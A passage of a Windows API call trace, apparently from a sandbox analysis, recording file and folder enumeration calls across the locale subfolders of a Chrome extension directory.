	[0066.363] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.363] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.363] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb)) returned 1
	[0066.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.364] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.364] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.364] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.364] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.364] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.364] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0066.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.365] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.365] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.365] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi"), fInfoLevelId=0x0, lpFileInformation=0x123fc788 | out: lpFileInformation=0x123fc788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.366] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.366] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117)) returned 1
	[0066.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu"), fInfoLevelId=0x0, lpFileInformation=0x123fc878 | out: lpFileInformation=0x123fc878*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.367] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.367] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.368] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1
	[0066.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.368] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.368] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1)) returned 1
	[0066.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
